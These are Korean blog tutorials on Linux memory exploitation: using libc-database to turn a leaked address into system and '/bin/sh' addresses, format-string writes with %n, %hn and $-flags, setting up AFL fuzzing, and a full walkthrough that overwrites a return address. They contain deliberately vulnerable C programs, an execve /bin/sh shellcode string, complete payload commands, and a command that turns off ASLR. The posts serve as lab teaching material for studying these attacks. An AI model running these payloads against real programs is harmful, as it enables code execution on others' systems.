그럼 내가 사용하는 VMware 리눅스를 예로 들어보겠다.


아래 그림과 같이 하위 12비트 값은 0xed0인데, 실제 실행하여 gdb로 확인해도 하위 12비트 값을 실제로 일치한다.

(그냥 임의의 바이너리를 만들어서 gcc로 컴파일하면 된다, 단 32bit로해야편함)


(함수이름은 system, 주소 하위 12비트는 ed0)


그럼 내가 사용하는 libc의 버전은 몇일까?? 첨부한 파일을 압축을 풀어서 libc-database에 가면 사용할수 있는 명령어들이 있다.


3. libc-database 사용법


(README.md 내용을 정리한것)


- find 명령어


find 라는 명령어를 이용하여 libc의 버전 정보와 offset 값을 얻을수있다.


그런데 find 명령어를 사용해도 libc에 대한 버전과 정보가 나오지않는다...ㅡㅡ;



왜냐하면.. 내꺼 우분투 버전이 12.04로 꽤 오래전 버전이기 때문이다.


이럴때를 대비해서 add라는 명령어가 있다.


- add & get 명령어


나의 libc에 대한 정보를 데이터베이스에 추가하는것이다.. get 명령어만 입력하면 당신 데탑의 libc를 자동으로 추가해준다.


(나의 libc 버전은 2.15...)


이제 다시 찾아보자..



음.. 이제 잘나온다.


- dump 명령어


이제 libc의 주요 함수 offset 값에 대한 정보를 얻어오도록 하겠다. 인자값으로 find로 얻는 id값을 넘겨주면 된다.


(id값 뒤에 함수이름을 넘겨줘서 다른 함수에 대한 offset 값도 알수있다.)



보는 바와같이 libc 라이브러리 주요함수내의 offset 값을 확인할수있다.


실제 해킹대회 등에서 libc-database가 사용되는 시나리오는 아래와 같다.


버퍼 오버플로우 같은 취약점이 있는 프로그램이 있고, 이를 공략하려고 한다.


그런데 프로그램이 돌아가는 시스템이 ASLR 및 NX가 적용되어있어서 RTL등의 기법을 이용하여 system 함수를 호출하여 쉘을 띄우는게 어렵다.


이때 만약 메모리 릭(Memory leak)등을 통해, 프로그램 내의 함수 주소 몇개만 알아 낼수있다면 (예를들어 printf 함수 주소)

(Memory leak은 보통 got, plt 주소, 스택에 저장되어있는 __libc_start_main_ret 주소등이다.)


그함수 주소의 마지막 12비트값을 libc-database로 찾아서 libc의 버전을 알아낸다.


libc에 저장되어있는 offset 값을 구해서 system 함수 주소및 /bin/sh가 저장되어있는 문자열 주소를 구한다.


계산하여 얻은 system 함수 및 "/bin/sh" 주소(offset_str_bin_sh)를 사용하여 RTL을 이용하여 Exploit !!


4. 사용 예제


예를들어 내가 memory leak하여 printf 함수의 주소를 얻었다고 해보자.


printf 함수 주소 : 0xf7e6c480


그렇다면 libc-database를 통해 libc의 버전 정보 및 주요 함수에 대한 offset 정보를 얻을수있다.



offset값은 0x4c480 이다.


그렇다면 libc의 base 주소는??


0xf7e6c480 - 0x4c480 = 0xf7e20000 


이다.


그렇다면 system 함수및 "/bin/sh"의 주소는 아래와 같이 계산할수 있다. offset 값은 dump 명령어 그림에 나와있다.


libc의 base주소 + offset을 하면 실제 함수의 주소를 얻을수있다.


- system 함수 주소


0xf7e20000 + 0x0003eed0 => 0xf7e5eed0


- "/bin/sh" 문자열 주소(offset_str_bin_sh)


0xf7e20000 + 0x15d7ec => 0xf7f7d7ec


즉, printf 함수주소가 주어졌을때 실제 바이너리 실행되면서 내부에 저주소에 system 함수가 저장되어있다는 것이다. 


(실제 gdb로 확인한 정보와 동일함을 확인할수 있다)


libc-database의 기능을 웹브라우저로 제공하는 사이트가 있는데


http://libcdb.com/


라는 사이트이다, 



사용법은 libc-database와 크게 다른건없지만 모든 libc 버전을 저장하고있는것은 아니니, 필요에따라 사용하는것이 좋을것이다.



저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


이전에 잠시 공부한적이 있지만, 까먹고있다가 이참에 공부해서 정리하게되었다.


포맷 스트링 버그 취약점을 가진 프로그램이 있을때, $-flag를 이용한 공격이 기존 기법에비해 꽤나 간단하고 유용해서 정리해봄


이방법은 특히 입력되는 버퍼의 크기가 작거나, printf 함수로부터 수정 주소까지 포맷스트링(%x..) 인자가 많이 필요할때 많은 포맷 스트링 문자열을 넣을 필요가 없어서 유용하다.


간단한 예제 소스코드를 들어 설명하겠다. 


* 테스트 환경 (ubuntu 64bit 12.04 LTS)


  1. // gcc -o flag_fsb flag_fsb.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  2. // sudo sysctl -w kernel.randomize_va_space=0
  3.  
  4. #include <stdio.h>
  5.  
  6. int main()
  7. {
  8.         int p = 0xffffffff;
  9.         char buf[56];
  10.         printf("before p = %08x addr = %08x\n",p,&p);
  11.         fgets(buf,sizeof(buf),stdin);
  12.         printf(buf);
  13.         printf("after p = %08x addr = %08x\n",p,&p);
  14.         exit(1);
  15.         return 0;
  16. }


위와같이 포맷 스트링버그가 존재할때, printf 함수에서 aaaa(0x61616161) 인자가 나오기까지 포맷스트링 %x 3개가 필요한것을 확인할수 있다. 나는 위에 소스코드에서 변수 p의주소(0xffffd704) 에 저장된 값 0xffffffff을 0x12345678으로 수정해볼것이다.



즉, printf 함수가 실행될때, printf 함수기준으로 스택에 쌓인값이 3번째 인자가 aaaa(0x61616161)이라는 것이다.


플래그(flag)를 이용하지 않으면 aaaa를 주소값으로 바꾸고, %x를 2번넣고 3번째 나올때 %hn (또는 %n)을 먹여서 주소에 저장된 값을 수정해야한다.


그러나 플래그(flag)를 사용하면 3번째 인자에 바로 %hn(또는 %n)을 먹여서 주소에 저장된값을 수정할수 있다. 더군다나 %hn을 먹이기 전에 %x를 입력한 갯수를 계산하지 않아도되서 굉장히 편리하다.


아래와 같이 계산을 해준다. 


지정해줄 포맷 스트링 문자에서 플래그($)를 유심히 봐주길 바란다.


수정할 주소 0xffffd704 , 주소에 저장할 값 : 0x12345678


%hn을 이용할것이기에 2번 쓸것이다.


0xffffd704 (\x04\xd7\xff\xff) -> 0x5678

0xffffd606 (\x06\xd7\xff\xff) -> 0x1234


%hn 이전까지 기본 문자열 개수: 8 (\x04\xd7\xff\xff\x06\xd7\xff\xff)


수정할 주소

기본 문자열 개수

A

변경해야 할

목표 값 B

지정 해줘야 할 문자 개수

C = |B-A|

지정해줄 포맷 스트링 문자

0xffffd704 (low)

8

22136 (0x5678)

22128 (0x5670)

%22128x%3$hn

0xffffd706 (high)

22136 (0x5678)

4660 (0x1234)

48060 (0xbbbc)

%48060x%4$hn


high 주소 계산시에 0x1234 - 0x5678이 음수가 나와버리는데 음수가 나올때는 0x1234 - 0x5678 + 0x10000 해주면된다.


* 최종 공격 문자열 (flag 사용)


(python -c 'print "\x04\xd7\xff\xff\x06\xd7\xff\xff"+"%22128x%3$hn%48060x%4$hn"';cat) | ./flag_fsb 


참고로 아래는 동일할 결과지만 flag를 사용하지 않았을때이다. 

(계산방식이 조금 달라서 %x 숫자도 달라진다.)


 (python -c 'print "\x04\xd7\xff\xffaaaa\x06\xd7\xff\xff"+"%x%22122x%hn%48060x%hn"';cat) | ./flag_fsb



flag를 사용하면 굉장히 먼거리에있는 인자값에도 접근이 가능하기때문에 버퍼의 사이즈가 작아도 사용할수 있는 장점이 있다.

(단, 사전에 변환문자를 이용하여 공격자가 입력하는 문자열이 어느 부 분에 저장되는지 알아두어야 한다)


물론 공격을 한다면 쉘을 띄워야 되겠지만, 13번째의 printf 때문에 불가능하다.. exit를 지속적으로 공략하여 다른 방법(rop등)을 이용하면 되겠지만.. 기본정리이므로 여기까지..


참고 링크


포맷 스트링 버그(Format string bug) %hn 사용법 - http://kaspyx.kr/81

포맷 스트링 버그(Format string bug) 취약점이란? - http://kaspyx.kr/74

파이썬(python)을 사용하여 프로그램에 입력값 넘겨주기 - http://kaspyx.kr/77


- 외부 링크

$-flag를 이용한 Format String 공격

http://codeengn.com/archive/Reverse%20Engineering/Buffer%20Overflow/Format%20String/$-flag%EB%A5%BC%20%EC%9D%B4%EC%9A%A9%ED%95%9C%20Format%20String%20%EA%B3%B5%EA%B2%A9%20%5BXpl017Elz%5D.txt

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

포맷 스트링 지정자중 %hn에 대한거 간단히 정리함, %hn 포맷 스트링(변환 지정자)는 2바이트 단위로 특정 메모리 주소에 현재까지 출력한 문자열의 개수를 저장해준다. 포맷 스트링 버그가 존재할때 %hn을 이용하면 프로그램의 ret 주소나 함수의 주소를 수정하여 공략이 가능하다.


  1. // gcc -o format_hn format_hn.c -m32
  2. // sudo sysctl -w kernel.randomize_va_space=0
  3. #include <stdio.h>
  4.  
  5. int main()
  6. {
  7.   int p= 0xffffffff;
  8.   char buf[256];
  9.  
  10.   printf("before p = %08x, addr = %08x\n",p,&p);
  11.   gets(buf);
  12.   printf(buf);
  13.   printf("\nafter p = %08x, addr = %08x\n",p,&p);
  14.  
  15.   return 0;
  16. }



aaaabbbbccccdddd로 입력하고, %08x를 넣었을때 7번째에 aaaa 문자열(0x61616161)이 출력되었음



여기서 지역변수 p(0xbffff4f8)에 0xffffffff의 값을 main함수의 주소 0x0804849d으로 수정하겠음


2바이트 단위로 Low 주소부터 써야함, 


0x0804849d -> Little endian 이므로, low 주소에 0x849d, high 주소에 0x0804를 저장


처음 기본 문자열 개수 : aaaa(4) + bbbb(4) + cccc(4) + dddd(4) + %08x (8) * 5 = 56 + "%숫자x"


수정할 주소

기본 문자열 개수

A

변경해야 할

목표 값 B

지정 해줘야 할 문자 개수

C = |B-A|

지정해줄 포맷 스트링 문자

0xbffff4f8 (low)

56 (0x38)

33949 (0x849d)

33893 (0x8465)

%33893x

0xbffff4fa (high)

33949 (0x849d)

2052 (0x0804)

33639 (0x8367 )

%33639x


여기서 high 주소 계산처럼, B-A가 음수가 나오면 0x0804 - 0x8465 한후에 보수를 취해주면 된다.


0x0804 - 0x849d= 0xffff8367 -> 0x8367 


(python -c 'print "\xf8\xf4\xff\xbf"+"bbbb"+"\xfa\xf4\xff\xbf"+"dddd" + "%08x"*5+"%33893x" + "%hn"+"%33639x"+"%hn"';cat) | ./hn_test 


물론, printf 함수가 실행될때 스택에 쌓인 값을 꺼내다보면 ret 주소가 저장된 변수가 나올것이다. 조금만더 응용하면 쉘도 띄우는게 가능함




참고 내부 링크


포맷 스트링 버그(Format string bug) 취약점이란? - http://kaspyx.kr/74

파이썬(python)을 사용하여 프로그램에 입력값 넘겨주기 - http://kaspyx.kr/77

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

AFL(American fuzzy lop) Fuzz tool 이란 프로그램에 무작위의 데이터를 입력하게하여 버그 및 취약점을 찾아주는 자동화된 툴이라고 보면 된다.

일명 퍼징(fuzzing) 기법을 사용하며, 가장 큰 특징이라면 소스코드가 주어질시에, 컴파일시에 AFL 툴이 입력받는 소스코드 루틴을 찾아줘서 인풋값에 대한 무작위 데이터 생성의 효율성을 가지고 있다. 대신 단점이라면, 소스코드가 없는 black box 상태의 fuzzing은 어렵다는점이다.

http://lcamtuf.coredump.cx/afl/ 사이트의 내용을 참고하여 정리한 내용이다.


1. AFL fuzzer 소스코드 다운로드 및 컴파일

사용환경 : linux 계열

소스코드 및 컴파일은 간단하다.

wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz 

tar -xvf afl-latest.tgz

cd afl-1.96b/

make all

make install


2. AFL fuzzer 사용법

자세한 내용은 다운받은 AFL 디렉토리에 README를 보면 잘나와있다.

AFL을 이용한 Fuzzing 방법은 대략적으로 아래와같다.

AFL 설치 -> Afl 컴파일러와 함께 Fuzzing할 바이너리에 대한 소스코드 컴파일 -> AFL Fuzzing start -> Segmentation fault 나온 inputcase 조사하여 버그 및 취약점 파악 

testcase가 반드시 있어야하는데, 이것은 타겟 바이너리에 임의의 입력값을 넣은뒤에 새로운 path가 생기면 거기에 대한 mutation 우선순위를 높여서 fuzzing의 효율을 높인다.

alf-fuzzer 디렉토리의 testcases 라는 디렉토리에 가보길 바란다. 여러가지 파일에 대한 input case가 있을것이다.


몸풀기로 간단한 fuzzing을 해보자, afl 디렉토리 아래에 test-instr.c 라는 파일이 있을것이다. 그것을 대상으로 fuzzing을 해보자



굉장히 간단한 코드이다. 이소스코드를 afl-gcc와 함께 컴파일하여 fuzzing을 할것이다. (만약 대상이 c++이라면, afl-g++을 이용해야한다.)

1) afl을 이용한 컴파일

./afl-gcc -o test-instr test-instr.c 



위와같이 컴파일시에 afl 메시지도 같이 나와야 잘된것이다.


2) Afl fuzzing 하기


afl-fuzz라는 바이너리로 fuzzing을 한다. 전반적인 사용법은 아래와 같다.


- 인풋 데이터가 Standard input이면


./afl-fuzz -i "Testcase 디렉토리" -o "결과가 만들어진 디렉토리 이름" "Fuzzing할 바이너리 이름" "파라미터이름..."

$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program [...params...]


- 인풋 데이터가 파일이면


./afl-fuzz -i "Testcase 디렉토리" -o "결과가 만들어진 디렉토리 이름" "Fuzzing할 바이너리 이름" @@

$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@


그렇다면 위의 test-instr 파일은 argv는 받지 않고 인풋을 키보드 등으로 입력받으니 첫번째 케이스로 하면 된다.

Test case 디렉토리는 afl 디렉토리의 ./testcases/other/text로 지정할것이고, 결과 디렉토리는 afl-out 디렉토리를 만들어서 이걸로 지정해줄것이다.

 ./afl-fuzz -i ./testcases/others/text/ -o ./afl-out/ ./test-instr


그런데 실행해보면 아래와 같은 에러가 출력될것이다.


추가적인 정보를 보니 아래와같이 명령어를 입력하라고한다, 그대로 입력하고 원래 afl-fuzz 명령어를 입력하면 잘될것이다.

echo core >/proc/sys/kernel/core_pattern

(* 만약 Permission 에러가 출력되면 sudo -s 등으로 슈퍼 계정으로 전환후 위의 명령어를 입력하도록 한다.)


total paths가 항상 1보다 크게 나와야 잘 실행되는것이다.



3) 결과 파일 분석하기



 위에서 fuzzing한 결과는 afl-out 디렉토리로 지정했었다. 디렉토리로 가보면, crashes, hangs, queue 디렉토리가 만들어져있는데, 여기서 crashes는 실제 sig fault (프로그램오류)등이 나왔을때의 unique 인풋 파일이고, queue 디렉토리는 각 path 별 입력값들 그리고 hangs는 지정된 시간을 지났을때까지 멈췄었던 인풋 데이터 case를 볼수있다.

유심히 봐야할것은 crashes 라는 디렉토리 이다. 그러나 이샘플에서는 실질적으로 crash가 발생하지는 않는다. 그냥 2개 path에 대한 input 값만 볼수있다. 


3. AFL Fuzzer 사용하기

좀더 practical한 설명을 이어가도록 하겠다, 리눅스에는 많은 오픈소스 프로젝트들이있다. 이런것들을 대상으로 fuzzing을 해보자.

우선 Fuzzing할 바이너리의 소스코드가 필요하다. 나는 e2fsprogs 라는 리눅스 유틸 바이너리를 대상으로 설명을 하도록 하겠다.

아래의 소스코드를 다운받도록 하자.

e2fsprogs-1.42.tar.gz


다운 받은 압축 파일을 풀어서 해당 디렉토리로 이동한다, 


e2fsprogs 리눅스 유틸은 여너 오픈소스와 마찬가지로 configure -> make all의 순서로 컴파일 된다.


configure 할때 afl-gcc 컴파일러를 등록한후에, make all 명령어로 컴파일&빌드하면 된다.


나는 아래와 같이 입력하였다.


cd e2fsprogs-1.42/

./configure CC="/home/kaspyx/afl-1.96b/afl-gcc"


"./configure" 를 실행하면 뭔가 세팅정보등이 설정되면서 글자들이 주르륵 올라온다. 


아래와 같이 afl-gcc와 관련된 (색깔있는) 문자들이 출력되어야 성공적으로 컴파일러가 등록된것이다.


이제 "make all"을 실행하면, afl-gcc와 함께 컴파일이 시작될것이다. 


마찬가지로, 컴파일이 성공하는지 컴파일 도중 afl 메시지가 뜨는지 잘 확인하도록 하자.



이제 컴파일이 성공하였다면, afl-fuzzer를 이용한 fuzzing을 하기위한 준비는 다된것이다.




저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

포맷 스트링 버그(Format String bug,이하 FSB)란 버퍼 오버플로우 해킹 기법의 한종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬수있는 취약점이다.


아래와 같이 FSB 취약점이 있는 간단한 소스코드를 보도록 하겠다.


실습을 하기전에 


sudo sysctl -w kernel.randomize_va_space=0


명령어를 사용하여 랜덤 스택을 고정 스택으로 수정하길 바란다.


시스템 해킹 환경 구축에 대한 포스팅은 여기를 참고 

(위에서 언급한거 빼곤 딱히 준비할건없다.안봐도됨)


** 테스트한 환경은 32비트 우분투 리눅스 14.x 입니다.**


1. 포맷 스트링 버그 (Formatstring bug) 취약점이란?


  1. #include <stdio.h>
  2.  
  3. int main(int argc,char *argv[])
  4. {
  5.   char buf[256];
  6.   strncpy(buf,argv[1],sizeof(buf));
  7.   printf(buf);
  8. }
  9.  
  10. //compile : gcc -o fsb_test fsb_test.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


7번째 라인을 유심히 봐주길바란다. 해당 라인은 FSB 취약점이 존재하는 코드로써, 

원래는 printf("%s",buf); 이런식으로 코딩을 해야 안전하다. 그러나 프로그래머의 부주의로 위와같은 취약점이 발생할수 있는데, 별것아닌것처럼 보이지만 매우 심각한 취약점으로 해커는 이것을 교묘하게 이용하여 프로그램의 흐름을 변경하고, 원하는 작동을 하는 임의의 악성코드도 실행할수 있다.


위의 코드는 첫번째로 입력받은 파라미터를 출력해주는 간단한 코드이다.

(설명을 쉽게하기 위해서 7번라인 아래 printf("\n"); 을 하나추가하였다.)



c언어의 포맷스트링 리스트는 아래와 같다. 프로그래머는 포맷에 대해 데이터가 어떻게 변환되는지는 알 필요없고, 패딩이나 필드크기, 정렬에 관한 부분에만 신경쓰면 된다. (한국말로 포맷스트링 : 변환지정자)


Specifier

Purpose

%c

Formats a single character

%d

Formats an integer in decimal notation (pre ANSI)

%e , %E

Formats a float or double in signed E notation

%f

Formats a float or double in decimal

%I

Formats an integer (like %d)

%o

Formats an integer in octal

%p

Formats a pointer to address location

%s

Formats a string

%x, %X

Formats an integer in hexadecimal


여기서 설명하지 않은것이 하나 있는데 바로 "%n" 이라는 포맷 스트링 지정자이다. 


  1. #include <stdio.h>
  2.  
  3. void main()
  4. {
  5.   char buf[] = "abcde";
  6.   int n;
  7.  
  8.   printf("%s %n\n",buf,&n);
  9.   printf("%d\n",n);
  10. }


이지정자는, 출력한 문자열의 개수를 특정 메모리에 써주는 역할을 하는데, 


코드와 같이 n 이라는 변수의 주소를 주면 출력한 buf의 "abcde\0"을 출력해준 갯수 6을 써주는것처럼 사용할수 있다.


그렇다면 어떤게 문제일까? 바로 c언어의 포맷 스트링 문자를 넣었을 경우이다. 



포맷 스트링 문자도 같이 넣어줬을경우에 프로그램이 이상한 값들을 토해낸다


잘못하면 프로그램이 죽을수도있다. 


FSB 취약점이 굳이 exploit으로 이어지지 않아도 프로그램의 오작동 및 DOS 등의 취약점은 기본적으로 탑재하고 있는것이다.


아래와같이 "%x" 포맷스트링을 넣어주다보면 우리가 입력한 값도 출력되는것을 확인할수있다.

('a'에 대한 아스키코드값은 0x61 이다.)


파이썬 스크립트를 사용하여 실행파일의 인자를 넣어줄수있다.


./fsb_test `python -c 'print "ccccddddeeeeXXXX"+"aaaa"*20+"%x%x%x%x"*3'`



printf() 함수는 포맷 스트링 문자를 만나면 스택에 저장된 값을 하나씩 뽑아서 출력해준다.


도식화 하자면


위와같이 printf 함수와 포맷스트링을 이용하여 스택에 있는 값을 접근할수 있는것이다.


우리는 프로그램의 정확한 메모리 상태는 알수없다. 그러나 포맷 스트링 문자를 통해서 그때의 메모리 상태를 파악할수 있다.


만약 네번째 %x를 %n으로 바꾼다면 0x0c0c0c0c 의 주소에는 여태까지 출력한 문자열("ccccdddd...") 의 개수를 덮어 쓸수있다는점이다.


"cccc" 문자를 임의의 주소로 바꿔서 프로그램의 ret 주소 또는 dtors 에도 덮어쓸수도 있는것이고, 임의의 코드를 삽입한후 흐름을 코드쪽으로 가게 할수도 있다.


2. 포맷 스트링 버그 취약점 접근하기


이제 포맷 스트링 버그 취약점 공략을 쉽게 접근하기위해 처럼 간단한 코드를 추가해준다.


  1. #include <stdio.h>
  2.  
  3. int p =0;
  4.  
  5. int main(int argc,char *argv[])
  6. {
  7.   char buf[256];
  8.   strncpy(buf,argv[1],sizeof(buf));
  9.   printf(buf);
  10.   printf("\n%x %x\n",p,&p);
  11. }
  12.  
  13. //compile : gcc -o fsb_test2 fsb_test2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


컴파일 옵션과 고정 스택 옵션을 사용하였다면 크게 메모리값이 크게 달라지는점은 없었을 것이다.



전역 변수 p의 주소는 0x0804a028 이며 그 주소에 저장되어있는 값은 0으로 확인되었다.


이값을 포맷스트링(fsb)버그를 이용하여 변경하도록 하겠다. 

(실제 익스플로잇을 한다면 저 주소가 아니라 프로그램의 ret 또는 dtors를 변경하는것일겁니다.)


이제 포맷스트링을 입력하여 내가 어떤 주소를 수정할지, printf 함수기준으로 스택에 쌓인 파라미터를 추출하여 계산을 해보겠다.


문자열 "XXXX"를 입력하여 몇번째에서 그값, 아스키 코드로 0x58이 출력되는지 확인하자.


./fsb_test2 `python -c 'print "XXXX"+"aaaa"+"%08x%08x%08x"'`



XXXX (58585858) 라는 문자열은 세번째 %08x를 넣었을때 출력되었다.

(%08x는 16진수로출력할때 8자리가 안되어도 자리수를 맞추기 위해서 지정해줍니다, 계산을 편하게 하기위해)


내가 XXXX라는 값을 수정하고 싶으면 세번째 %08x를 %n으로 바꿔주면된다.


XXXX 라는값을 0x0804a028로 수정하여 값을 바꿔보도록 하자.

(리틀 엔디안 이므로 위의 숫자는 거꾸로 넣어줘야하는것을 유의하도록 하자.)


./fsb_test2 `python -c 'print "\x28\xa0\x04\x08"+"aaaa"+"%08x%08x%n"'`



%n 포맷 스트링을 넣어줘서 0x0804a028 이라는 값이 0x18으로 수정되었다. 


그렇다면 왜 0x18으로 수정되었을까?


%n 지정자는 이전까지 출력한 문자열의 개수를 특정 메모리 주소에 넣어준다고 하였다.


문자열을 잘 세어보면 "\x28\xa0\x04\x08" 4개, 뒤에 "aaaa" 문자열로 4개 그리고 %08x를 넣어준 8개 문자열 2개해서 16


이값을 더하면 4 + 4+ 16 = 24, 16진수로 0x18임을 확인할수 있다.


마지막에 있는 포맷스트링 %08x을 대신에 %09x로 수정해보자.



p의 값이 0x19로 수정된것을 확인할수 있다. 


즉 %숫자x 등의 옵션을 주어서 특정 주소에 어떤 값을 넣을지 공격자는 지정해줄수 있는것이다.

(여러분은 p의 값을 0x44로 바꿀수있게 해보세요.)


3. 포맷 스트링 버그 취약점 공략하기


실제 익스플로잇을 하는 경우라면, 프로그램의 dtors 또는 ret 주소를 수정하여 그값을 쉘코드로 지정해주는 것이다.


보통 ret 주소 수정은 입력하는 파라미터에 따라 바뀌므로 잘쓰지는 않고 대부분 dtors 주소 공략을 통해 exploit을 하는 경우가 많다.


dtors를 찾는 명령어는


objdump -s -j .dtors fsb_test2 


에서 나온 두번째 값에 +4를 해주면 된다.


kaspyx@kaspyx-virtual-machine:~/test$ objdump -s -j .dtors fsb_test2

 

fsb_test2:     file format elf32-i386

 

objdump: section '.dtors' mentioned in a -j option, but not found in any input file


헉.. 그런데 dtors 영역이 존재하지않는다.


dtors는 프로그램이 종료되고 마지막에 실행해주는 영역을 지정해주는것인데.., 아마도 ubuntu 14.x 버전부터 이영역은 삭제된것으로 보인다.


하는 수없이 ret 주소를 수정하는 방법으로 설명하도록 하겠다.


코드를 아래와같이 수정하여 ret 주소를 확인해보자.


  1. #include <stdio.h>
  2.  
  3. int p =0;
  4.  
  5. int main(int argc,char *argv[])
  6. {
  7.   int *ret = (int*)&ret+2;
  8.   char buf[256];
  9.   strncpy(buf,argv[1],sizeof(buf));
  10.   printf(buf);
  11.   printf("\nret - %x\n",ret);
  12. }
  13.  
  14. //compile : gcc -o fsb_test3 fsb_test3.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


./fsb_test3 `python -c 'print "XXXX"+"aaaa"+"%08x%08x%08x"'`


여기서 ret 주소는 main 함수가 다실행되고 호출한 주소로 복귀하는 주소가 저장되는 스택의주소 인데 0xbfffceac으로 확인된다. 

(근데 이값은 입력된 파라미터에 개수에따라 계속 달라진다. 확인만하고 몇번의 고정된 파라미터에 대한 계산이 필요하다,그래서 dtors 공략이편함)


나는 환경변수에 쉘코드를 등록하여 저기에있는 ret 주소를 환경변수에 등록된 쉘코드로 넘겨서 공격을 해볼것이다.


아래 코드를 실행하여 쉘코드를 환경변수에 등록해보자.


쉘코드는 예전에 내가 직접 만든것인데, 만드는 방법은 여기를 참고하길 바란다.

(주석에 나와있는 export kaspyx... 명령어를 복붙하여 실행한후에 아래 코드를 컴파일 실행하여 egg쉘의 주소를 확인하면된다.)


  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x00"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.  
  12.   return 0;
  13. }


쉘코드의 주소는 0xbfffd7f0으로 확인되었다.


우리는 %n 지정자를 통해 4번 나눠서 메모리의 ret 주소를 변경할것이다.


앞에서 한대로 주소값을 4번 쓰기위해선 몇번의 입력을 통해 데이터를 정렬해줘야 한다.


./fsb_test3 `python -c 'print "XXXX"+"aaaa"+"XXXX"+"cccc"+"XXXX"+"dddd"+"XXXX"+"%08x"+"%08x%08x"+"%08x%08x"+"%08x%08x"+"%08x%08x"'`


(데이터 정렬은 위와 같이 해줬다. 아래와같이 색깔로 보면 좀더 편할것이다.)



ret이 저장되는 스택 주소 : 0xbfffce7c


쉘코드의 주소 : 0xbfffd7f0


또한 리틀 엔디안 방식이므로 거꾸로 넣어줘야한다. 즉,


0xbfffce7c => f0

0xbfffce7d => d7

0xbfffce7e => ff

0xbfffce7f => bf


이렇게 값을 넣어줘야한다.


기본 문자열 개수 44 , (0x2c 이며 십육진수 0x100의 자리 수는 버린다.)


아래의 표를통해 약간의 계산을 한후에 포맷스트링의 숫자값을 지정해준다.

 

수정할 주소

기본 문자열 개수

A

변경해야 할

목표 값 B

지정 해줘야 할 문자 개수

C = |B-A|

지정해줄 포맷 스트링 문자

0xbfffce7c

0x2c

0xf0

0xC4 (196)

196+8 = %204x

0xbfffce7d

0xf0

0xd7

0xe7 (231)

%231x

0xbfffce7e

0xd7

0xff

0x28 (40)

%40x

0xbfffce7f

0xff

0xbf

0xc0 (192)

%192x


아래는 최종 공격 exploit 코드이다.( 각색깔에 매칭되는 포맷스트링을 참고해보길바란다.)


./fsb_test3 `python -'print "\x7c\xce\xff\xbf"+"aaaa"+"\x7d\xce\xff\xbf"+"cccc"+"\x7e\xce\xff\xbf"+"dddd"+"\x7f\xce\xff\xbf"+"%08x"+

"%204x%08n"+"%231x%08n"+"%40x%08n"+"%192x%08n"'



./fsb_test3 `python -c 'print 

"\x7c\xce\xff\xbf"+"aaaa"+"\x7d\xce\xff\xbf"+"cccc"+"\x7e\xce\xff\xbf"+"dddd"+"\x7f\xce\xff\xbf"

+"%08x"+"%204x%08n"+"%231x%08n"+"%40x%08n"+"%192x%08n"'`


코드를 실행하면 아래와같이 쉘이실행된다.




추가적으로.. %n은 1바이트만써서 4개의 주소를 써줘야하는 불편함이있는데 %hn을 쓰면 2번만에 쉘코드의 주소를 삽입할수있다.


보통 %hn을 더많이쓰는데.. %n을 이해했다면 %hn을 활용하는것도 어렵지않을것이다.


* 참조 내부 링크

- 리눅스 시스템 해킹방어 메카니즘 및 해킹환경 구축하기 http://kaspyx.kr/3

- 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? http://kaspyx.kr/2

- 리눅스 쉘코드(Shell Code)만들기 http://kaspyx.kr/4

- C언어로 리틀엔디안, 빅엔디안 확인 하기 : http://kaspyx.kr/1

저작자 표시
신고
Posted by 캐스피


티스토리 툴바